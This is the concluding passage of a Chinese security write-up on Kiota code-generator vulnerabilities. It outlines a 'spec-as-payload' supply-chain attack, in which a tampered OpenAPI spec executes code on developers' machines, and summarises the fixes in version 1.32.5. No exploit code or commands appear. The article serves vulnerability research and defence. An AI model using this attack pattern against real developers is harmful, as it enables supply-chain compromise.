但从攻击面角度看,它们代表了一种更危险的供应链攻击模式:攻击者不需要入侵开发者的机器,只需要发布一份看似正常的OpenAPI spec到公开仓库,就能在所有使用该spec生成SDK的开发者机器上执行代码。这种"spec-as-payload"攻击模式值得所有代码生成工具的开发者和使用者警惕。
Kiota团队在1.32.5版本中的修复是全面的——不仅添加了IsSafeFileReference和命令注入检测,还引入了AllowedExternalOriginsStreamLoader来限制$ref的外部引用(修复CVE-2026-59867),以及--allowed-external-origins选项让用户显式控制允许的外部来源。这种纵深防御的修复策略值得借鉴。
对于组织而言,除了升级Kiota之外,更重要的是建立"不信任任何外部输入"的安全意识——即使是来自官方API文档的OpenAPI spec,也可能被篡改或包含恶意扩展。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号